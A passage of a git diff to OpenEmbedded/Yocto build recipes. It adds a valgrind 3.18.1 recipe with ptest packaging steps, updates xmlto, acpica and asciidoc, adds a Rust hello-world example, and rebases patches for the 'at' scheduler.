- sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann2.vgtest
-
- # handle multilib
- sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
- sed -i s:@bindir@:${bindir}:g ${D}${PTEST_PATH}/run-ptest
-
- # This test fails on the host as well, using both 3.15 and git master (as of Jan 24 2020)
- # https://bugs.kde.org/show_bug.cgi?id=402833
- rm ${D}${PTEST_PATH}/memcheck/tests/overlap.vgtest
-
- # As the binary isn't stripped or debug-splitted, the source file isn't fetched
- # via dwarfsrcfiles either, so it needs to be installed manually.
- mkdir -p ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/${BP}/none/tests/
- install ${S}/none/tests/tls.c ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/${BP}/none/tests/
-}
-
-# avoid stripping some generated binaries otherwise some of the tests will fail
-# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
-INHIBIT_PACKAGE_STRIP_FILES = "\
- ${PKGD}${PTEST_PATH}/none/tests/tls \
- ${PKGD}${PTEST_PATH}/none/tests/tls.so \
- ${PKGD}${PTEST_PATH}/none/tests/tls2.so \
- ${PKGD}${PTEST_PATH}/helgrind/tests/tc09_bad_unlock \
- ${PKGD}${PTEST_PATH}/memcheck/tests/manuel1 \
- ${PKGD}${PTEST_PATH}/drd/tests/pth_detached3 \
-"
diff --git a/meta/recipes-devtools/valgrind/valgrind_3.18.1.bb b/meta/recipes-devtools/valgrind/valgrind_3.18.1.bb
new file mode 100644
index 0000000000..e825f83d5c
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind_3.18.1.bb
@@ -0,0 +1,252 @@
+SUMMARY = "Valgrind memory debugger and instrumentation framework"
+HOMEPAGE = "http://valgrind.org/"
+DESCRIPTION = "Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail."
+BUGTRACKER = "http://valgrind.org/support/bug_reports.html"
+LICENSE = "GPLv2 & GPLv2+ & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://include/pub_tool_basics.h;beginline=6;endline=29;md5=41c410e8d3f305aee7aaa666b2e4f366 \
+ file://include/valgrind.h;beginline=1;endline=56;md5=ad3b317f3286b6b704575d9efe6ca5df \
+ file://COPYING.DOCS;md5=24ea4c7092233849b4394699333b5c56"
+
+DEPENDS = " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'boost', '', d)} \
+ "
+
+SRC_URI = "https://sourceware.org/pub/valgrind/valgrind-${PV}.tar.bz2 \
+ file://fixed-perl-path.patch \
+ file://Added-support-for-PPC-instructions-mfatbu-mfatbl.patch \
+ file://run-ptest \
+ file://remove-for-aarch64 \
+ file://remove-for-all \
+ file://taskset_nondeterministic_tests \
+ file://0004-Fix-out-of-tree-builds.patch \
+ file://0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch \
+ file://use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch \
+ file://avoid-neon-for-targets-which-don-t-support-it.patch \
+ file://valgrind-make-ld-XXX.so-strlen-intercept-optional.patch \
+ file://0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch \
+ file://0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch \
+ file://0001-sigqueue-Rename-_sifields-to-__si_fields-on-musl.patch \
+ file://0002-context-APIs-are-not-available-on-musl.patch \
+ file://0003-correct-include-directive-path-for-config.h.patch \
+ file://0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch \
+ file://0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch \
+ file://0002-memcheck-x86-Define-__THROW-if-not-defined.patch \
+ file://0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch \
+ file://0001-fix-opcode-not-supported-on-mips32-linux.patch \
+ file://0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch \
+ file://0001-Make-local-functions-static-to-avoid-assembler-error.patch \
+ file://0001-Return-a-valid-exit_code-from-vg_regtest.patch \
+ file://0001-valgrind-filter_xml_frames-do-not-filter-usr.patch \
+ file://0001-memcheck-vgtests-remove-fullpath-after-flags.patch \
+ file://s390x_vec_op_t.patch \
+ file://0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch \
+ file://0001-memcheck-tests-Fix-timerfd-syscall-test.patch \
+ "
+SRC_URI[sha256sum] = "00859aa13a772eddf7822225f4b46ee0d39afbe071d32778da4d99984081f7f5"
+UPSTREAM_CHECK_REGEX = "valgrind-(?P<pver>\d+(\.\d+)+)\.tar"
+
+COMPATIBLE_HOST = '(i.86|x86_64|arm|aarch64|mips|powerpc|powerpc64).*-linux'
+
+# patch 0001-memcheck-vgtests-remove-fullpath-after-flags.patch removes relative path
+# argument. Change expected stderr files accordingly.
+do_patch:append() {
+ bb.build.exec_func('do_sed_paths', d)
+}
+
+do_sed_paths() {
+ sed -i -e 's|tests/||' ${S}/memcheck/tests/badfree3.stderr.exp
+ sed -i -e 's|tests/||' ${S}/memcheck/tests/varinfo5.stderr.exp
+}
+
+# valgrind supports armv7 and above
+COMPATIBLE_HOST:armv4 = 'null'
+COMPATIBLE_HOST:armv5 = 'null'
+COMPATIBLE_HOST:armv6 = 'null'
+
+# valgrind fails with powerpc soft-float
+COMPATIBLE_HOST:powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', 'null', '.*-linux', d)}"
+
+# X32 isn't supported by valgrind at this time
+COMPATIBLE_HOST:linux-gnux32 = 'null'
+COMPATIBLE_HOST:linux-muslx32 = 'null'
+
+# Disable for some MIPS variants
+COMPATIBLE_HOST:mipsarchr6 = 'null'
+COMPATIBLE_HOST:linux-gnun32 = 'null'
+
+# Disable for powerpc64 with musl
+COMPATIBLE_HOST:libc-musl:powerpc64 = 'null'
+
+# brokenseip is unfortunately required by ptests to pass
+inherit autotools-brokensep ptest multilib_header
+
+EXTRA_OECONF = "--enable-tls --without-mpicc"
+EXTRA_OECONF += "${@['--enable-only32bit','--enable-only64bit'][d.getVar('SITEINFO_BITS') != '32']}"
+
+# valgrind checks host_cpu "armv7*)", so we need to over-ride the autotools.bbclass default --host option
+EXTRA_OECONF:append:arm = " --host=armv7${HOST_VENDOR}-${HOST_OS}"
+
+EXTRA_OEMAKE = "-w"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
+
+# valgrind likes to control its own optimisation flags. It generally defaults
+# to -O2 but uses -O0 for some specific test apps etc. Passing our own flags
+# (via CFLAGS) means we interfere with that. Only pass DEBUG_FLAGS to it
+# which fixes build path issue in DWARF.
+SELECTED_OPTIMIZATION = "${DEBUG_FLAGS}"
+
+do_configure:prepend () {
+ rm -rf ${S}/config.h
+ sed -i -e 's:$(abs_top_builddir):$(pkglibdir)/ptest:g' ${S}/none/tests/Makefile.am
+ sed -i -e 's:$(top_builddir):$(pkglibdir)/ptest:g' ${S}/memcheck/tests/Makefile.am
+}
+
+do_install:append () {
+ install -m 644 ${B}/default.supp ${D}/${libexecdir}/valgrind/
+ oe_multilib_header valgrind/config.h
+}
+
+VALGRINDARCH ?= "${TARGET_ARCH}"
+VALGRINDARCH:aarch64 = "arm64"
+VALGRINDARCH:x86-64 = "amd64"
+VALGRINDARCH:x86 = "x86"
+VALGRINDARCH:mips = "mips32"
+VALGRINDARCH:mipsel = "mips32"
+VALGRINDARCH:mips64el = "mips64"
+VALGRINDARCH:powerpc = "ppc"
+VALGRINDARCH:powerpc64 = "ppc64"
+VALGRINDARCH:powerpc64le = "ppc64le"
+
+INHIBIT_PACKAGE_STRIP_FILES = "${PKGD}${libexecdir}/valgrind/vgpreload_memcheck-${VALGRINDARCH}-linux.so"
+
+RDEPENDS:${PN} += "perl"
+
+# valgrind needs debug information for ld.so at runtime in order to
+# redirect functions like strlen.
+RRECOMMENDS:${PN} += "${TCLIBC}-dbg"
+
+RDEPENDS:${PN}-ptest += " bash coreutils curl file \
+ gdb libgomp \
+ perl \
+ perl-module-file-basename perl-module-file-glob perl-module-getopt-long \
+ perl-module-overloading perl-module-cwd perl-module-ipc-open3 \
+ perl-module-carp perl-module-symbol \
+ procps sed ${PN}-dbg ${PN}-src ${TCLIBC}-src gcc-runtime-dbg"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils"
+
+# One of the tests contains a bogus interpreter path on purpose.
+# Skip file dependency check
+SKIP_FILEDEPS:${PN}-ptest = '1'
+INSANE_SKIP:${PN}-ptest = "debug-deps"
+
+do_compile_ptest() {
+ oe_runmake check
+}
+
+do_install_ptest() {
+ chmod +x ${B}/tests/vg_regtest
+
+ # The test application binaries are not automatically installed.
+ # Grab them from the build directory.
+ #
+ # The regression tests require scripts and data files that are not
+ # copied to the build directory. They must be copied from the
+ # source directory.
+ saved_dir=$PWD
+ for parent_dir in ${S} ${B} ; do
+ cd $parent_dir
+
+ subdirs=" \
+ .in_place \
+ cachegrind/tests \
+ callgrind/tests \
+ dhat/tests \
+ drd/tests \
+ gdbserver_tests \
+ helgrind/tests \
+ lackey/tests \
+ massif/tests \
+ memcheck/tests \
+ none/tests \
+ tests \
+ exp-bbv/tests \
+ "
+ # Get the vg test scripts, filters, and expected files
+ for dir in $subdirs ; do
+ find $dir | cpio -pvdu ${D}${PTEST_PATH}
+ done
+ cd $saved_dir
+ done
+
+ # The scripts reference config.h so add it to the top ptest dir.
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/remove-for-aarch64 ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/remove-for-all ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/taskset_nondeterministic_tests ${D}${PTEST_PATH}
+
+ # Add an executable need by none/tests/bigcode
+ mkdir ${D}${PTEST_PATH}/perf
+ cp ${B}/perf/bigcode ${D}${PTEST_PATH}/perf
+
+ # Add an executable needed by memcheck/tests/vcpu_bz2
+ cp ${B}/perf/bz2 ${D}${PTEST_PATH}/perf
+
+ # Make the ptest dir look like the top level valgrind src dir
+ # This is checked by the gdbserver_tests/make_local_links script
+ mkdir ${D}${PTEST_PATH}/coregrind
+ cp ${B}/coregrind/vgdb ${D}${PTEST_PATH}/coregrind
+
+ # Add an executable needed by massif tests
+ cp ${B}/massif/ms_print ${D}${PTEST_PATH}/massif/ms_print
+
+ find ${D}${PTEST_PATH} \
+ \( \
+ -name "Makefile*" \
+ -o -name "*.o" \
+ \) \
+ -exec rm {} \;
+
+ # These files need to be newer so touch them.
+ touch ${D}${PTEST_PATH}/cachegrind/tests/a.c -r ${D}${PTEST_PATH}/cachegrind/tests/cgout-test
+
+ # find *_annotate in ${bindir} for yocto build
+ sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann1.vgtest
+ sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann2.vgtest
+
+ sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann1.vgtest
+ sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann2.vgtest
+
+ # point the expanded @abs_top_builddir@ of the host to PTEST_PATH
+ sed -i s:${S}:${PTEST_PATH}:g \
+ ${D}${PTEST_PATH}/memcheck/tests/linux/debuginfod-check.vgtest
+
+ # handle multilib
+ sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
+ sed -i s:@libexecdir@:${libexecdir}:g ${D}${PTEST_PATH}/run-ptest
+ sed -i s:@bindir@:${bindir}:g ${D}${PTEST_PATH}/run-ptest
+
+ # This test fails on the host as well, using both 3.15 and git master (as of Jan 24 2020)
+ # https://bugs.kde.org/show_bug.cgi?id=402833
+ rm ${D}${PTEST_PATH}/memcheck/tests/overlap.vgtest
+
+ # This is known failure see https://bugs.kde.org/show_bug.cgi?id=435732
+ rm ${D}${PTEST_PATH}/memcheck/tests/leak_cpp_interior.vgtest
+
+ # As the binary isn't stripped or debug-splitted, the source file isn't fetched
+ # via dwarfsrcfiles either, so it needs to be installed manually.
+ mkdir -p ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/${BP}/none/tests/
+ install ${S}/none/tests/tls.c ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/${BP}/none/tests/
+}
+
+# avoid stripping some generated binaries otherwise some of the tests will fail
+# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
+INHIBIT_PACKAGE_STRIP_FILES += "\
+ ${PKGD}${PTEST_PATH}/none/tests/tls \
+ ${PKGD}${PTEST_PATH}/none/tests/tls.so \
+ ${PKGD}${PTEST_PATH}/none/tests/tls2.so \
+ ${PKGD}${PTEST_PATH}/helgrind/tests/tc09_bad_unlock \
+ ${PKGD}${PTEST_PATH}/memcheck/tests/manuel1 \
+ ${PKGD}${PTEST_PATH}/drd/tests/pth_detached3 \
+"
diff --git a/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb b/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
index 7d27c43c83..1214901b65 100644
--- a/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
+++ b/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
@@ -1,5 +1,6 @@
SUMMARY = "A shell-script tool for converting XML files to various formats"
-HOMEPAGE = "https://releases.pagure.org/xmlto/"
+HOMEPAGE = "https://pagure.io/xmlto"
+DESCRIPTION = "Utility xmlto is a simple shell-script tool for converting XML files to various formats. It serves as easy to use command line frontend to make fine output without remembering many long options and searching for the syntax of the backends."
SECTION = "docs/xmlto"
LICENSE = "GPLv2"
@@ -17,25 +18,25 @@ CLEANBROKEN = "1"
DEPENDS = "libxml2-native"
-RDEPENDS_${PN} = "docbook-xml-dtd4 \
+RDEPENDS:${PN} = "docbook-xml-dtd4 \
docbook-xsl-stylesheets \
util-linux \
libxml2 \
libxslt \
bash \
"
-RDEPENDS_${PN}_append_class-target = " \
+RDEPENDS:${PN}:append:class-target = " \
libxml2-utils \
libxslt-bin \
coreutils \
"
-CACHED_CONFIGUREVARS += "ac_cv_path_TAIL=tail"
+CACHED_CONFIGUREVARS += "ac_cv_path_TAIL=tail ac_cv_path_GREP=grep"
BBCLASSEXTEND = "native"
-EXTRA_OECONF_append = " BASH=/bin/bash GCP=/bin/cp XMLLINT=xmllint XSLTPROC=xsltproc"
+EXTRA_OECONF:append = " BASH=/bin/bash GCP=/bin/cp XMLLINT=xmllint XSLTPROC=xsltproc"
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}${bindir}/xmlto XML_CATALOG_FILES=${sysconfdir}/xml/catalog
}
diff --git a/meta/recipes-example/rust-hello-world/rust-hello-world/0001-enable-LTO.patch b/meta/recipes-example/rust-hello-world/rust-hello-world/0001-enable-LTO.patch
new file mode 100644
index 0000000000..f319545ee1
--- /dev/null
+++ b/meta/recipes-example/rust-hello-world/rust-hello-world/0001-enable-LTO.patch
@@ -0,0 +1,24 @@
+From fa40b874f6470ec11a8fd7b0c9909d0cdd2d6feb Mon Sep 17 00:00:00 2001
+From: Dan Callaghan <dan.callaghan@opengear.com>
+Date: Fri, 5 Feb 2021 08:56:34 +1000
+Subject: [PATCH] enable LTO
+
+Upstream-Status: Pending
+---
+ Cargo.toml | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/Cargo.toml b/Cargo.toml
+index 7a2f6c8..cdb6b5d 100644
+--- a/Cargo.toml
++++ b/Cargo.toml
+@@ -3,3 +3,6 @@
+ name = "rust-hello-world"
+ version = "0.0.1"
+ authors = ["Cody P Schafer <dev@codyps.com>"]
++
++[profile.release]
++lto = true
+--
+2.28.0
+
diff --git a/meta/recipes-example/rust-hello-world/rust-hello-world_git.bb b/meta/recipes-example/rust-hello-world/rust-hello-world_git.bb
new file mode 100644
index 0000000000..1d91109b51
--- /dev/null
+++ b/meta/recipes-example/rust-hello-world/rust-hello-world_git.bb
@@ -0,0 +1,19 @@
+inherit cargo
+
+SRC_URI = "git://github.com/meta-rust/rust-hello-world.git;protocol=https;branch=master"
+SRCREV="e0fa23f1a3cb1eb1407165bd2fc36d2f6e6ad728"
+LIC_FILES_CHKSUM="file://COPYRIGHT;md5=e6b2207ac3740d2d01141c49208c2147"
+
+SRC_URI += "\
+ file://0001-enable-LTO.patch \
+ "
+
+UPSTREAM_CHECK_COMMITS = "1"
+
+SUMMARY = "Hello World by Cargo for Rust"
+HOMEPAGE = "https://github.com/meta-rust/rust-hello-world"
+LICENSE = "MIT | Apache-2.0"
+
+S = "${WORKDIR}/git"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/acpica/acpica_20200925.bb b/meta/recipes-extended/acpica/acpica_20200925.bb
deleted file mode 100644
index a6d8d67270..0000000000
--- a/meta/recipes-extended/acpica/acpica_20200925.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
-DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
-OS-independent reference implementation of the Advanced Configuration and \
-Power Interface Specification (ACPI). ACPICA code contains those portions of \
-ACPI meant to be directly integrated into the host OS as a kernel-resident \
-subsystem, and a small set of tools to assist in developing and debugging \
-ACPI tables."
-
-HOMEPAGE = "http://www.acpica.org/"
-SECTION = "console/tools"
-
-LICENSE = "Intel | BSD | GPLv2"
-LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=6adbcb81e9ee6ae50c569b94fe12f7c5"
-
-COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-
-DEPENDS = "m4-native flex-native bison-native"
-
-SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix-${PV}.tar.gz"
-SRC_URI[sha256sum] = "d44388e21e3d2e47c6d39e9c897935d3f775f04fec76271dcba072c74f834589"
-
-UPSTREAM_CHECK_URI = "https://acpica.org/downloads"
-
-S = "${WORKDIR}/acpica-unix-${PV}"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "acpixtract acpidump"
-
-EXTRA_OEMAKE = "CC='${CC}' \
- OPT_CFLAGS=-Wall \
- DESTDIR=${D} \
- PREFIX=${prefix} \
- INSTALLDIR=${bindir} \
- INSTALLFLAGS= \
- "
-
-do_install() {
- oe_runmake install
-}
-
-# iasl*.bb is a subset of this recipe, so RREPLACE it
-PROVIDES = "iasl"
-RPROVIDES_${PN} += "iasl"
-RREPLACES_${PN} += "iasl"
-RCONFLICTS_${PN} += "iasl"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/acpica/acpica_20210930.bb b/meta/recipes-extended/acpica/acpica_20210930.bb
new file mode 100644
index 0000000000..47f1b629ed
--- /dev/null
+++ b/meta/recipes-extended/acpica/acpica_20210930.bb
@@ -0,0 +1,51 @@
+SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
+DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
+OS-independent reference implementation of the Advanced Configuration and \
+Power Interface Specification (ACPI). ACPICA code contains those portions of \
+ACPI meant to be directly integrated into the host OS as a kernel-resident \
+subsystem, and a small set of tools to assist in developing and debugging \
+ACPI tables."
+
+HOMEPAGE = "http://www.acpica.org/"
+SECTION = "console/tools"
+
+LICENSE = "Intel | BSD-3-Clause | GPLv2"
+LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=c33ce358fdcd142684e41e336b7992e8"
+
+COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
+
+DEPENDS = "m4-native flex-native bison-native"
+
+SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix-${PV}.tar.gz"
+SRC_URI[sha256sum] = "3cd82a281a16bc70c2708665668f138c4fc606c31161d46ce77230454ec04821"
+
+UPSTREAM_CHECK_URI = "https://acpica.org/downloads"
+
+S = "${WORKDIR}/acpica-unix-${PV}"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "acpixtract acpidump"
+
+EXTRA_OEMAKE = "CC='${CC}' \
+ OPT_CFLAGS=-Wall \
+ DESTDIR=${D} \
+ PREFIX=${prefix} \
+ INSTALLDIR=${bindir} \
+ INSTALLFLAGS= \
+ YACC=bison \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \
+ "
+
+do_install() {
+ oe_runmake install
+}
+
+# iasl*.bb is a subset of this recipe, so RREPLACE it
+PROVIDES = "iasl"
+RPROVIDES:${PN} += "iasl"
+RREPLACES:${PN} += "iasl"
+RCONFLICTS:${PN} += "iasl"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch b/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
deleted file mode 100644
index ca170db00f..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-If SGML_CATALOG_FILES is in the environment, pass --catalogs to xmllint and
-xsltproc. Also pass --nonet to xsltproc to detect future missing stylesheet
-problems.
-
-An earlier version of this patch was filed upstream at
-https://github.com/asciidoc/asciidoc-py3/issues/61 so depending on how that goes
-this could get merged.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/a2x.py b/a2x.py
-index 2d7699a..582d809 100755
---- a/a2x.py
-+++ b/a2x.py
-@@ -57,6 +57,10 @@ LYNX_OPTS = '-dump'
- W3M_OPTS = '-dump -cols 70 -T text/html -no-graph'
- XSLTPROC_OPTS = ''
-
-+if "SGML_CATALOG_FILES" in os.environ:
-+ XMLLINT += " --catalogs"
-+ XSLTPROC += " --catalogs"
-+
- ######################################################################
- # End of configuration file parameters.
- ######################################################################
-@@ -298,7 +302,7 @@ def exec_xsltproc(xsl_file, xml_file, dst_dir, opts = ''):
- cwd = os.getcwd()
- shell_cd(dst_dir)
- try:
-- shell('"%s" %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
-+ shell('%s %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
- finally:
- shell_cd(cwd)
-
-@@ -483,7 +487,7 @@ class A2X(AttrDict):
- self.asciidoc_opts += ' --doctype %s' % self.doctype
- for attr in self.attributes:
- self.asciidoc_opts += ' --attribute "%s"' % attr
--# self.xsltproc_opts += ' --nonet'
-+ self.xsltproc_opts += ' --nonet'
- if self.verbose:
- self.asciidoc_opts += ' --verbose'
- self.dblatex_opts += ' -V'
-@@ -634,7 +638,7 @@ class A2X(AttrDict):
- shell('"%s" --backend docbook -a "a2x-format=%s" %s --out-file "%s" "%s"' %
- (self.asciidoc, self.format, self.asciidoc_opts, docbook_file, self.asciidoc_file))
- if not self.no_xmllint and XMLLINT:
-- shell('"%s" --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
-+ shell('%s --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
-
- def to_xhtml(self):
- self.to_docbook()
diff --git a/meta/recipes-extended/asciidoc/asciidoc_10.0.2.bb b/meta/recipes-extended/asciidoc/asciidoc_10.0.2.bb
new file mode 100644
index 0000000000..1b618175bc
--- /dev/null
+++ b/meta/recipes-extended/asciidoc/asciidoc_10.0.2.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
+DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
+articles, books and UNIX man pages."
+
+HOMEPAGE = "http://asciidoc.org/"
+
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=4e5d1baf6f20559e3bec172226a47e4e \
+ file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 "
+
+SRC_URI = "git://github.com/asciidoc/asciidoc-py3;protocol=https;branch=main"
+SRCREV = "7bad9d2e77f7d384ac9042732adaefd4f6ed8979"
+
+DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+
+S = "${WORKDIR}/git"
+
+# Tell xmllint where to find the DocBook XML catalogue, because right now it
+# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
+export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
+
+inherit setuptools3
+CLEANBROKEN = "1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
diff --git a/meta/recipes-extended/asciidoc/asciidoc_9.0.4.bb b/meta/recipes-extended/asciidoc/asciidoc_9.0.4.bb
deleted file mode 100644
index 51d12cb8c6..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc_9.0.4.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
-DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
-articles, books and UNIX man pages."
-
-HOMEPAGE = "http://asciidoc.org/"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=4e5d1baf6f20559e3bec172226a47e4e \
- file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 "
-
-SRC_URI = "git://github.com/asciidoc/asciidoc-py3;protocol=https \
- file://auto-catalogs.patch"
-SRCREV = "8de61a75572b5b8f90c1f87634aa3767472be7a7"
-
-DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-
-S = "${WORKDIR}/git"
-
-# Tell xmllint where to find the DocBook XML catalogue, because right now it
-# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
-export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
-
-# Not using automake
-inherit autotools-brokensep
-CLEANBROKEN = "1"
-
-# target and nativesdk needs python3, but for native we can use the host.
-RDEPENDS_${PN} += "python3"
-RDEPENDS_remove_class-native = "python3"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
index 7fdecc7fd1..fd57f94cd5 100644
--- a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
+++ b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
@@ -18,21 +18,21 @@ Signed-off-by: Dengke Du <dengke.du@windriver.com>
parsetime.y | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
-diff --git a/parsetime.y b/parsetime.y
-index 7005e88..324e6d3 100644
---- a/parsetime.y
-+++ b/parsetime.y
-@@ -8,6 +8,9 @@
-
- #define YYDEBUG 1
+Index: at-3.2.1/parsetime.y
+===================================================================
+--- at-3.2.1.orig/parsetime.y
++++ at-3.2.1/parsetime.y
+@@ -14,6 +14,9 @@
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+ #endif
+#define is_leap_year(y) \
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+
struct tm exectm;
static int isgmt;
- static int yearspec;
-@@ -217,8 +220,8 @@ date : month_name day_number
+ static char *tz = NULL;
+@@ -230,8 +233,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -43,7 +43,7 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
-@@ -261,8 +264,8 @@ date : month_name day_number
+@@ -274,8 +277,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -54,6 +54,3 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
---
-2.8.1
-
diff --git a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
index d5ef0032be..11023bdf52 100644
--- a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
+++ b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
@@ -10,11 +10,11 @@ update the Copyright file information to reflect the replaced files.
Date: 2010/08/31
Nitin A Kamble nitin.a.kamble@intel.com
-Index: at-3.1.12/Copyright
+Index: at-3.2.1/Copyright
===================================================================
---- at-3.1.12.orig/Copyright
-+++ at-3.1.12/Copyright
-@@ -31,10 +31,10 @@ The files posixtm.c and posixtm.h have t
+--- at-3.2.1.orig/Copyright
++++ at-3.2.1/Copyright
+@@ -34,10 +34,10 @@ The files posixtm.c and posixtm.h have t
Copyright (C) 1989, 1990, 1991, 1998, 2000, 2001, 2002, 2003, 2004,
2005, 2006, 2007 Free Software Foundation Inc.
diff --git a/meta/recipes-extended/at/at/fix_parallel_build_error.patch b/meta/recipes-extended/at/at/fix_parallel_build_error.patch
index 30d2324126..e4f32b82b6 100644
--- a/meta/recipes-extended/at/at/fix_parallel_build_error.patch
+++ b/meta/recipes-extended/at/at/fix_parallel_build_error.patch
@@ -22,10 +22,10 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
Makefile.in | 2 ++
1 file changed, 2 insertions(+)
-diff --git a/Makefile.in b/Makefile.in
-index 4c11913..18ecc23 100644
---- a/Makefile.in
-+++ b/Makefile.in
+Index: at-3.2.1/Makefile.in
+===================================================================
